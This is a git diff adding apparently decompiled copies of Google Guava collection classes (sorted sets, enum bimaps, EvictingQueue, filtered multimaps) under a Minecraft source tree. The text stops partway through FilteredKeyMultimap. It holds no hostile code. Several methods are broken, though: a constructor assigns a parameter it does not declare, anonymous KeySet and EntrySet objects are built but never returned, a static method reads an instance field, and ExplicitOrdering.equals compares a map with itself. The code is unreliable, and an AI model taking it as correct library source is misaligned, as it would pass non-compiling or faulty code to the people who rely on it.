+package com.google.common.collect;
+
+import com.google.common.base.Preconditions;
+import java.util.Collection;
+import java.util.Comparator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class EmptyImmutableSortedMultiset<E>
+  extends ImmutableSortedMultiset<E>
+{
+  private final ImmutableSortedSet<E> elementSet;
+  
+  EmptyImmutableSortedMultiset(Comparator<? super E> comparator)
+  {
+    elementSet = ImmutableSortedSet.emptySet(comparator);
+  }
+  
+  public Multiset.Entry<E> firstEntry()
+  {
+    return null;
+  }
+  
+  public Multiset.Entry<E> lastEntry()
+  {
+    return null;
+  }
+  
+  public int count(@Nullable Object element)
+  {
+    return 0;
+  }
+  
+  public boolean containsAll(Collection<?> targets)
+  {
+    return targets.isEmpty();
+  }
+  
+  public int size()
+  {
+    return 0;
+  }
+  
+  public ImmutableSortedSet<E> elementSet()
+  {
+    return elementSet;
+  }
+  
+  Multiset.Entry<E> getEntry(int index)
+  {
+    throw new AssertionError("should never be called");
+  }
+  
+  public ImmutableSortedMultiset<E> headMultiset(E upperBound, BoundType boundType)
+  {
+    Preconditions.checkNotNull(upperBound);
+    Preconditions.checkNotNull(boundType);
+    return this;
+  }
+  
+  public ImmutableSortedMultiset<E> tailMultiset(E lowerBound, BoundType boundType)
+  {
+    Preconditions.checkNotNull(lowerBound);
+    Preconditions.checkNotNull(boundType);
+    return this;
+  }
+  
+  public UnmodifiableIterator<E> iterator()
+  {
+    return Iterators.emptyIterator();
+  }
+  
+  public boolean equals(@Nullable Object object)
+  {
+    if ((object instanceof Multiset)) {
+      Multiset<?> other = (Multiset)object;
+      return other.isEmpty();
+    }
+    return false;
+  }
+  
+  boolean isPartialView()
+  {
+    return false;
+  }
+  
+  int copyIntoArray(Object[] dst, int offset)
+  {
+    return offset;
+  }
+  
+  public ImmutableList<E> asList()
+  {
+    return ImmutableList.of();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EmptyImmutableSortedSet.java b/src/minecraft/com/google/common/collect/EmptyImmutableSortedSet.java
new file mode 100644
index 0000000..268550e
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EmptyImmutableSortedSet.java
@@ -0,0 +1,130 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+class EmptyImmutableSortedSet<E>
+  extends ImmutableSortedSet<E>
+{
+  EmptyImmutableSortedSet(Comparator<? super E> comparator)
+  {
+    super(comparator);
+  }
+  
+  public int size()
+  {
+    return 0;
+  }
+  
+  public boolean isEmpty() {
+    return true;
+  }
+  
+  public boolean contains(@Nullable Object target) {
+    return false;
+  }
+  
+  public boolean containsAll(Collection<?> targets) {
+    return targets.isEmpty();
+  }
+  
+  public UnmodifiableIterator<E> iterator() {
+    return Iterators.emptyIterator();
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  public UnmodifiableIterator<E> descendingIterator() {
+    return Iterators.emptyIterator();
+  }
+  
+  boolean isPartialView() {
+    return false;
+  }
+  
+  public ImmutableList<E> asList() {
+    return ImmutableList.of();
+  }
+  
+  int copyIntoArray(Object[] dst, int offset)
+  {
+    return offset;
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if ((object instanceof Set)) {
+      Set<?> that = (Set)object;
+      return that.isEmpty();
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    return 0;
+  }
+  
+  public String toString() {
+    return "[]";
+  }
+  
+  public E first()
+  {
+    throw new NoSuchElementException();
+  }
+  
+  public E last()
+  {
+    throw new NoSuchElementException();
+  }
+  
+  ImmutableSortedSet<E> headSetImpl(E toElement, boolean inclusive)
+  {
+    return this;
+  }
+  
+
+  ImmutableSortedSet<E> subSetImpl(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+  {
+    return this;
+  }
+  
+  ImmutableSortedSet<E> tailSetImpl(E fromElement, boolean inclusive)
+  {
+    return this;
+  }
+  
+  int indexOf(@Nullable Object target) {
+    return -1;
+  }
+  
+  ImmutableSortedSet<E> createDescendingSet()
+  {
+    return new EmptyImmutableSortedSet(Ordering.from(comparator).reverse());
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EnumBiMap.java b/src/minecraft/com/google/common/collect/EnumBiMap.java
new file mode 100644
index 0000000..30abd26
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EnumBiMap.java
@@ -0,0 +1,148 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.Collection;
+import java.util.EnumMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class EnumBiMap<K extends Enum<K>, V extends Enum<V>>
+  extends AbstractBiMap<K, V>
+{
+  private transient Class<K> keyType;
+  private transient Class<V> valueType;
+  @GwtIncompatible("not needed in emulated source.")
+  private static final long serialVersionUID = 0L;
+  
+  public static <K extends Enum<K>, V extends Enum<V>> EnumBiMap<K, V> create(Class<K> keyType, Class<V> valueType)
+  {
+    return new EnumBiMap(keyType, valueType);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <K extends Enum<K>, V extends Enum<V>> EnumBiMap<K, V> create(Map<K, V> map)
+  {
+    EnumBiMap<K, V> bimap = create(inferKeyType(map), inferValueType(map));
+    bimap.putAll(map);
+    return bimap;
+  }
+  
+  private EnumBiMap(Class<K> keyType, Class<V> valueType) {
+    super(WellBehavedMap.wrap(new EnumMap(keyType)), WellBehavedMap.wrap(new EnumMap(valueType)));
+    
+    this.keyType = keyType;
+    this.valueType = valueType;
+  }
+  
+  static <K extends Enum<K>> Class<K> inferKeyType(Map<K, ?> map) {
+    if ((map instanceof EnumBiMap)) {
+      return ((EnumBiMap)map).keyType();
+    }
+    if ((map instanceof EnumHashBiMap)) {
+      return ((EnumHashBiMap)map).keyType();
+    }
+    Preconditions.checkArgument(!map.isEmpty());
+    return ((Enum)map.keySet().iterator().next()).getDeclaringClass();
+  }
+  
+  private static <V extends Enum<V>> Class<V> inferValueType(Map<?, V> map) {
+    if ((map instanceof EnumBiMap)) {
+      return valueType;
+    }
+    Preconditions.checkArgument(!map.isEmpty());
+    return ((Enum)map.values().iterator().next()).getDeclaringClass();
+  }
+  
+  public Class<K> keyType()
+  {
+    return keyType;
+  }
+  
+  public Class<V> valueType()
+  {
+    return valueType;
+  }
+  
+  K checkKey(K key)
+  {
+    return (Enum)Preconditions.checkNotNull(key);
+  }
+  
+  V checkValue(V value)
+  {
+    return (Enum)Preconditions.checkNotNull(value);
+  }
+  
+
+
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    stream.writeObject(keyType);
+    stream.writeObject(valueType);
+    Serialization.writeMap(this, stream);
+  }
+  
+  @GwtIncompatible("java.io.ObjectInputStream")
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    keyType = ((Class)stream.readObject());
+    valueType = ((Class)stream.readObject());
+    setDelegates(WellBehavedMap.wrap(new EnumMap(keyType)), WellBehavedMap.wrap(new EnumMap(valueType)));
+    
+
+    Serialization.populateMap(this, stream);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EnumHashBiMap.java b/src/minecraft/com/google/common/collect/EnumHashBiMap.java
new file mode 100644
index 0000000..786f9f8
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EnumHashBiMap.java
@@ -0,0 +1,127 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.EnumMap;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class EnumHashBiMap<K extends Enum<K>, V>
+  extends AbstractBiMap<K, V>
+{
+  private transient Class<K> keyType;
+  @GwtIncompatible("only needed in emulated source.")
+  private static final long serialVersionUID = 0L;
+  
+  public static <K extends Enum<K>, V> EnumHashBiMap<K, V> create(Class<K> keyType)
+  {
+    return new EnumHashBiMap(keyType);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <K extends Enum<K>, V> EnumHashBiMap<K, V> create(Map<K, ? extends V> map)
+  {
+    EnumHashBiMap<K, V> bimap = create(EnumBiMap.inferKeyType(map));
+    bimap.putAll(map);
+    return bimap;
+  }
+  
+  private EnumHashBiMap(Class<K> keyType) {
+    super(WellBehavedMap.wrap(new EnumMap(keyType)), Maps.newHashMapWithExpectedSize(((Enum[])keyType.getEnumConstants()).length));
+    
+
+
+    this.keyType = keyType;
+  }
+  
+
+
+  K checkKey(K key)
+  {
+    return (Enum)Preconditions.checkNotNull(key);
+  }
+  
+  public V put(K key, @Nullable V value) {
+    return super.put(key, value);
+  }
+  
+  public V forcePut(K key, @Nullable V value) {
+    return super.forcePut(key, value);
+  }
+  
+  public Class<K> keyType()
+  {
+    return keyType;
+  }
+  
+
+
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    stream.writeObject(keyType);
+    Serialization.writeMap(this, stream);
+  }
+  
+  @GwtIncompatible("java.io.ObjectInputStream")
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    keyType = ((Class)stream.readObject());
+    setDelegates(WellBehavedMap.wrap(new EnumMap(keyType)), new HashMap(((Enum[])keyType.getEnumConstants()).length * 3 / 2));
+    
+    Serialization.populateMap(this, stream);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EnumMultiset.java b/src/minecraft/com/google/common/collect/EnumMultiset.java
new file mode 100644
index 0000000..240f36f
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EnumMultiset.java
@@ -0,0 +1,104 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.EnumMap;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class EnumMultiset<E extends Enum<E>>
+  extends AbstractMapBasedMultiset<E>
+{
+  private transient Class<E> type;
+  @GwtIncompatible("Not needed in emulated source")
+  private static final long serialVersionUID = 0L;
+  
+  public static <E extends Enum<E>> EnumMultiset<E> create(Class<E> type)
+  {
+    return new EnumMultiset(type);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E extends Enum<E>> EnumMultiset<E> create(Iterable<E> elements)
+  {
+    Iterator<E> iterator = elements.iterator();
+    Preconditions.checkArgument(iterator.hasNext(), "EnumMultiset constructor passed empty Iterable");
+    EnumMultiset<E> multiset = new EnumMultiset(((Enum)iterator.next()).getDeclaringClass());
+    Iterables.addAll(multiset, elements);
+    return multiset;
+  }
+  
+
+
+
+
+
+
+  public static <E extends Enum<E>> EnumMultiset<E> create(Iterable<E> elements, Class<E> type)
+  {
+    EnumMultiset<E> result = create(type);
+    Iterables.addAll(result, elements);
+    return result;
+  }
+  
+
+
+  private EnumMultiset(Class<E> type)
+  {
+    super(WellBehavedMap.wrap(new EnumMap(type)));
+    this.type = type;
+  }
+  
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream) throws IOException {
+    stream.defaultWriteObject();
+    stream.writeObject(type);
+    Serialization.writeMultiset(this, stream);
+  }
+  
+
+
+
+  @GwtIncompatible("java.io.ObjectInputStream")
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    
+    Class<E> localType = (Class)stream.readObject();
+    type = localType;
+    setBackingMap(WellBehavedMap.wrap(new EnumMap(type)));
+    Serialization.populateMultiset(this, stream);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EvictingQueue.java b/src/minecraft/com/google/common/collect/EvictingQueue.java
new file mode 100644
index 0000000..72f888c
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EvictingQueue.java
@@ -0,0 +1,124 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.ArrayDeque;
+import java.util.Collection;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtIncompatible("java.util.ArrayDeque")
+public final class EvictingQueue<E>
+  extends ForwardingQueue<E>
+  implements Serializable
+{
+  private final Queue<E> delegate;
+  @VisibleForTesting
+  final int maxSize;
+  private static final long serialVersionUID = 0L;
+  
+  private EvictingQueue(int maxSize)
+  {
+    Preconditions.checkArgument(maxSize >= 0, "maxSize (%s) must >= 0", new Object[] { Integer.valueOf(maxSize) });
+    delegate = new ArrayDeque(maxSize);
+    this.maxSize = maxSize;
+  }
+  
+
+
+
+
+
+  public static <E> EvictingQueue<E> create(int maxSize)
+  {
+    return new EvictingQueue(maxSize);
+  }
+  
+
+
+
+
+
+  public int remainingCapacity()
+  {
+    return maxSize - size();
+  }
+  
+  protected Queue<E> delegate() {
+    return delegate;
+  }
+  
+
+
+
+
+
+  public boolean offer(E e)
+  {
+    return add(e);
+  }
+  
+
+
+
+
+
+  public boolean add(E e)
+  {
+    Preconditions.checkNotNull(e);
+    if (maxSize == 0) {
+      return true;
+    }
+    if (size() == maxSize) {
+      delegate.remove();
+    }
+    delegate.add(e);
+    return true;
+  }
+  
+  public boolean addAll(Collection<? extends E> collection) {
+    return standardAddAll(collection);
+  }
+  
+  public boolean contains(Object object)
+  {
+    return delegate().contains(Preconditions.checkNotNull(object));
+  }
+  
+  public boolean remove(Object object)
+  {
+    return delegate().remove(Preconditions.checkNotNull(object));
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ExplicitOrdering.java b/src/minecraft/com/google/common/collect/ExplicitOrdering.java
new file mode 100644
index 0000000..39c3301
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ExplicitOrdering.java
@@ -0,0 +1,76 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import java.util.List;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class ExplicitOrdering<T>
+  extends Ordering<T>
+  implements Serializable
+{
+  final ImmutableMap<T, Integer> rankMap;
+  private static final long serialVersionUID = 0L;
+  
+  ExplicitOrdering(List<T> valuesInOrder)
+  {
+    this(buildRankMap(valuesInOrder));
+  }
+  
+  ExplicitOrdering(ImmutableMap<T, Integer> rankMap) {
+    this.rankMap = rankMap;
+  }
+  
+  public int compare(T left, T right) {
+    return rank(left) - rank(right);
+  }
+  
+  private int rank(T value) {
+    Integer rank = (Integer)rankMap.get(value);
+    if (rank == null) {
+      throw new Ordering.IncomparableValueException(value);
+    }
+    return rank.intValue();
+  }
+  
+  private static <T> ImmutableMap<T, Integer> buildRankMap(List<T> valuesInOrder)
+  {
+    ImmutableMap.Builder<T, Integer> builder = ImmutableMap.builder();
+    int rank = 0;
+    for (T value : valuesInOrder) {
+      builder.put(value, Integer.valueOf(rank++));
+    }
+    return builder.build();
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if ((object instanceof ExplicitOrdering)) {
+      ExplicitOrdering<?> that = (ExplicitOrdering)object;
+      return rankMap.equals(rankMap);
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    return rankMap.hashCode();
+  }
+  
+  public String toString() {
+    return "Ordering.explicit(" + rankMap.keySet() + ")";
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/FilteredEntryMultimap.java b/src/minecraft/com/google/common/collect/FilteredEntryMultimap.java
new file mode 100644
index 0000000..e9b13af
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/FilteredEntryMultimap.java
@@ -0,0 +1,402 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+class FilteredEntryMultimap<K, V>
+  extends AbstractMultimap<K, V>
+  implements FilteredMultimap<K, V>
+{
+  final Multimap<K, V> unfiltered;
+  final Predicate<? super Map.Entry<K, V>> predicate;
+  
+  FilteredEntryMultimap(Multimap<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> predicate)
+  {
+    this.unfiltered = ((Multimap)Preconditions.checkNotNull(unfiltered));
+    this.predicate = ((Predicate)Preconditions.checkNotNull(predicate));
+  }
+  
+  public Multimap<K, V> unfiltered()
+  {
+    return unfiltered;
+  }
+  
+  public Predicate<? super Map.Entry<K, V>> entryPredicate()
+  {
+    return predicate;
+  }
+  
+  public int size()
+  {
+    return entries().size();
+  }
+  
+  private boolean satisfies(K key, V value) {
+    return predicate.apply(Maps.immutableEntry(key, value));
+  }
+  
+  final class ValuePredicate implements Predicate<V>
+  {
+    private final K key;
+    
+    ValuePredicate() {
+      this.key = key;
+    }
+    
+    public boolean apply(@Nullable V value)
+    {
+      return FilteredEntryMultimap.this.satisfies(key, value);
+    }
+  }
+  
+  static <E> Collection<E> filterCollection(Collection<E> collection, Predicate<? super E> predicate)
+  {
+    if ((collection instanceof Set)) {
+      return Sets.filter((Set)collection, predicate);
+    }
+    return Collections2.filter(collection, predicate);
+  }
+  
+
+  public boolean containsKey(@Nullable Object key)
+  {
+    return asMap().get(key) != null;
+  }
+  
+  public Collection<V> removeAll(@Nullable Object key)
+  {
+    return (Collection)Objects.firstNonNull(asMap().remove(key), unmodifiableEmptyCollection());
+  }
+  
+  Collection<V> unmodifiableEmptyCollection()
+  {
+    return (unfiltered instanceof SetMultimap) ? Collections.emptySet() : Collections.emptyList();
+  }
+  
+
+
+  public void clear()
+  {
+    entries().clear();
+  }
+  
+  public Collection<V> get(K key)
+  {
+    return filterCollection(unfiltered.get(key), new ValuePredicate(key));
+  }
+  
+  Collection<Map.Entry<K, V>> createEntries()
+  {
+    return filterCollection(unfiltered.entries(), predicate);
+  }
+  
+  Collection<V> createValues()
+  {
+    return new FilteredMultimapValues(this);
+  }
+  
+  Iterator<Map.Entry<K, V>> entryIterator()
+  {
+    throw new AssertionError("should never be called");
+  }
+  
+  Map<K, Collection<V>> createAsMap()
+  {
+    return new AsMap();
+  }
+  
+  public Set<K> keySet()
+  {
+    return asMap().keySet();
+  }
+  
+  boolean removeEntriesIf(Predicate<? super Map.Entry<K, Collection<V>>> predicate) {
+    Iterator<Map.Entry<K, Collection<V>>> entryIterator = unfiltered.asMap().entrySet().iterator();
+    boolean changed = false;
+    while (entryIterator.hasNext()) {
+      Map.Entry<K, Collection<V>> entry = (Map.Entry)entryIterator.next();
+      K key = entry.getKey();
+      Collection<V> collection = filterCollection((Collection)entry.getValue(), new ValuePredicate(key));
+      if ((!collection.isEmpty()) && (predicate.apply(Maps.immutableEntry(key, collection)))) {
+        if (collection.size() == ((Collection)entry.getValue()).size()) {
+          entryIterator.remove();
+        } else {
+          collection.clear();
+        }
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+  class AsMap extends Maps.ImprovedAbstractMap<K, Collection<V>> {
+    AsMap() {}
+    
+    public boolean containsKey(@Nullable Object key) { return get(key) != null; }
+    
+
+    public void clear()
+    {
+      FilteredEntryMultimap.this.clear();
+    }
+    
+    public Collection<V> get(@Nullable Object key)
+    {
+      Collection<V> result = (Collection)unfiltered.asMap().get(key);
+      if (result == null) {
+        return null;
+      }
+      
+      K k = key;
+      result = FilteredEntryMultimap.filterCollection(result, new FilteredEntryMultimap.ValuePredicate(FilteredEntryMultimap.this, k));
+      return result.isEmpty() ? null : result;
+    }
+    
+    public Collection<V> remove(@Nullable Object key)
+    {
+      Collection<V> collection = (Collection)unfiltered.asMap().get(key);
+      if (collection == null) {
+        return null;
+      }
+      
+      K k = key;
+      List<V> result = Lists.newArrayList();
+      Iterator<V> itr = collection.iterator();
+      while (itr.hasNext()) {
+        V v = itr.next();
+        if (FilteredEntryMultimap.this.satisfies(k, v)) {
+          itr.remove();
+          result.add(v);
+        }
+      }
+      if (result.isEmpty())
+        return null;
+      if ((unfiltered instanceof SetMultimap)) {
+        return Collections.unmodifiableSet(Sets.newLinkedHashSet(result));
+      }
+      return Collections.unmodifiableList(result);
+    }
+    
+
+    Set<K> createKeySet()
+    {
+      new Maps.KeySet(this)
+      {
+        public boolean removeAll(Collection<?> c) {
+          return removeEntriesIf(Maps.keyPredicateOnEntries(Predicates.in(c)));
+        }
+        
+        public boolean retainAll(Collection<?> c)
+        {
+          return removeEntriesIf(Maps.keyPredicateOnEntries(Predicates.not(Predicates.in(c))));
+        }
+        
+        public boolean remove(@Nullable Object o)
+        {
+          return remove(o) != null;
+        }
+      };
+    }
+    
+    Set<Map.Entry<K, Collection<V>>> createEntrySet()
+    {
+      new Maps.EntrySet()
+      {
+        Map<K, Collection<V>> map() {
+          return FilteredEntryMultimap.AsMap.this;
+        }
+        
+        public Iterator<Map.Entry<K, Collection<V>>> iterator()
+        {
+          new AbstractIterator() {
+            final Iterator<Map.Entry<K, Collection<V>>> backingIterator = unfiltered.asMap().entrySet().iterator();
+            
+
+            protected Map.Entry<K, Collection<V>> computeNext()
+            {
+              while (backingIterator.hasNext()) {
+                Map.Entry<K, Collection<V>> entry = (Map.Entry)backingIterator.next();
+                K key = entry.getKey();
+                Collection<V> collection = FilteredEntryMultimap.filterCollection((Collection)entry.getValue(), new FilteredEntryMultimap.ValuePredicate(FilteredEntryMultimap.this, key));
+                
+                if (!collection.isEmpty()) {
+                  return Maps.immutableEntry(key, collection);
+                }
+              }
+              return (Map.Entry)endOfData();
+            }
+          };
+        }
+        
+        public boolean removeAll(Collection<?> c)
+        {
+          return removeEntriesIf(Predicates.in(c));
+        }
+        
+        public boolean retainAll(Collection<?> c)
+        {
+          return removeEntriesIf(Predicates.not(Predicates.in(c)));
+        }
+        
+        public int size()
+        {
+          return Iterators.size(iterator());
+        }
+      };
+    }
+    
+    Collection<Collection<V>> createValues()
+    {
+      new Maps.Values(this)
+      {
+        public boolean remove(@Nullable Object o) {
+          if ((o instanceof Collection)) {
+            Collection<?> c = (Collection)o;
+            Iterator<Map.Entry<K, Collection<V>>> entryIterator = unfiltered.asMap().entrySet().iterator();
+            
+            while (entryIterator.hasNext()) {
+              Map.Entry<K, Collection<V>> entry = (Map.Entry)entryIterator.next();
+              K key = entry.getKey();
+              Collection<V> collection = FilteredEntryMultimap.filterCollection((Collection)entry.getValue(), new FilteredEntryMultimap.ValuePredicate(FilteredEntryMultimap.this, key));
+              
+              if ((!collection.isEmpty()) && (c.equals(collection))) {
+                if (collection.size() == ((Collection)entry.getValue()).size()) {
+                  entryIterator.remove();
+                } else {
+                  collection.clear();
+                }
+                return true;
+              }
+            }
+          }
+          return false;
+        }
+        
+        public boolean removeAll(Collection<?> c)
+        {
+          return removeEntriesIf(Maps.valuePredicateOnEntries(Predicates.in(c)));
+        }
+        
+        public boolean retainAll(Collection<?> c)
+        {
+          return removeEntriesIf(Maps.valuePredicateOnEntries(Predicates.not(Predicates.in(c))));
+        }
+      };
+    }
+  }
+  
+  Multiset<K> createKeys()
+  {
+    return new Keys();
+  }
+  
+  class Keys extends Multimaps.Keys<K, V> {
+    Keys() {
+      super();
+    }
+    
+    public int remove(@Nullable Object key, int occurrences)
+    {
+      CollectPreconditions.checkNonnegative(occurrences, "occurrences");
+      if (occurrences == 0) {
+        return count(key);
+      }
+      Collection<V> collection = (Collection)unfiltered.asMap().get(key);
+      if (collection == null) {
+        return 0;
+      }
+      
+      K k = key;
+      int oldCount = 0;
+      Iterator<V> itr = collection.iterator();
+      while (itr.hasNext()) {
+        V v = itr.next();
+        if (FilteredEntryMultimap.this.satisfies(k, v)) {
+          oldCount++;
+          if (oldCount <= occurrences) {
+            itr.remove();
+          }
+        }
+      }
+      return oldCount;
+    }
+    
+    public Set<Multiset.Entry<K>> entrySet()
+    {
+      new Multisets.EntrySet()
+      {
+        Multiset<K> multiset()
+        {
+          return FilteredEntryMultimap.Keys.this;
+        }
+        
+        public Iterator<Multiset.Entry<K>> iterator()
+        {
+          return entryIterator();
+        }
+        
+        public int size()
+        {
+          return keySet().size();
+        }
+        
+        private boolean removeEntriesIf(final Predicate<? super Multiset.Entry<K>> predicate) {
+          FilteredEntryMultimap.this.removeEntriesIf(new Predicate()
+          {
+            public boolean apply(Map.Entry<K, Collection<V>> entry)
+            {
+              return predicate.apply(Multisets.immutableEntry(entry.getKey(), ((Collection)entry.getValue()).size()));
+            }
+          });
+        }
+        
+
+        public boolean removeAll(Collection<?> c)
+        {
+          return removeEntriesIf(Predicates.in(c));
+        }
+        
+        public boolean retainAll(Collection<?> c)
+        {
+          return removeEntriesIf(Predicates.not(Predicates.in(c)));
+        }
+      };
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/FilteredEntrySetMultimap.java b/src/minecraft/com/google/common/collect/FilteredEntrySetMultimap.java
new file mode 100644
index 0000000..3d66dc2
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/FilteredEntrySetMultimap.java
@@ -0,0 +1,67 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Predicate;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class FilteredEntrySetMultimap<K, V>
+  extends FilteredEntryMultimap<K, V>
+  implements FilteredSetMultimap<K, V>
+{
+  FilteredEntrySetMultimap(SetMultimap<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> predicate)
+  {
+    super(unfiltered, predicate);
+  }
+  
+  public SetMultimap<K, V> unfiltered()
+  {
+    return (SetMultimap)unfiltered;
+  }
+  
+  public Set<V> get(K key)
+  {
+    return (Set)super.get(key);
+  }
+  
+  public Set<V> removeAll(Object key)
+  {
+    return (Set)super.removeAll(key);
+  }
+  
+  public Set<V> replaceValues(K key, Iterable<? extends V> values)
+  {
+    return (Set)super.replaceValues(key, values);
+  }
+  
+  Set<Map.Entry<K, V>> createEntries()
+  {
+    return Sets.filter(unfiltered().entries(), entryPredicate());
+  }
+  
+  public Set<Map.Entry<K, V>> entries()
+  {
+    return (Set)super.entries();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/FilteredKeyListMultimap.java b/src/minecraft/com/google/common/collect/FilteredKeyListMultimap.java
new file mode 100644
index 0000000..425fabd
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/FilteredKeyListMultimap.java
@@ -0,0 +1,57 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Predicate;
+import java.util.List;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class FilteredKeyListMultimap<K, V>
+  extends FilteredKeyMultimap<K, V>
+  implements ListMultimap<K, V>
+{
+  FilteredKeyListMultimap(ListMultimap<K, V> unfiltered, Predicate<? super K> keyPredicate)
+  {
+    super(unfiltered, keyPredicate);
+  }
+  
+  public ListMultimap<K, V> unfiltered()
+  {
+    return (ListMultimap)super.unfiltered();
+  }
+  
+  public List<V> get(K key)
+  {
+    return (List)super.get(key);
+  }
+  
+  public List<V> removeAll(@Nullable Object key)
+  {
+    return (List)super.removeAll(key);
+  }
+  
+  public List<V> replaceValues(K key, Iterable<? extends V> values)
+  {
+    return (List)super.replaceValues(key, values);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/FilteredKeyMultimap.java b/src/minecraft/com/google/common/collect/FilteredKeyMultimap.java
new file mode 100644
index 0000000..ed35279
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/FilteredKeyMultimap.java
@@ -0,0 +1,218 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+class FilteredKeyMultimap<K, V>
+  extends AbstractMultimap<K, V>
+  implements FilteredMultimap<K, V>
+{
+  final Multimap<K, V> unfiltered;
+  final Predicate<? super K> keyPredicate;
+  
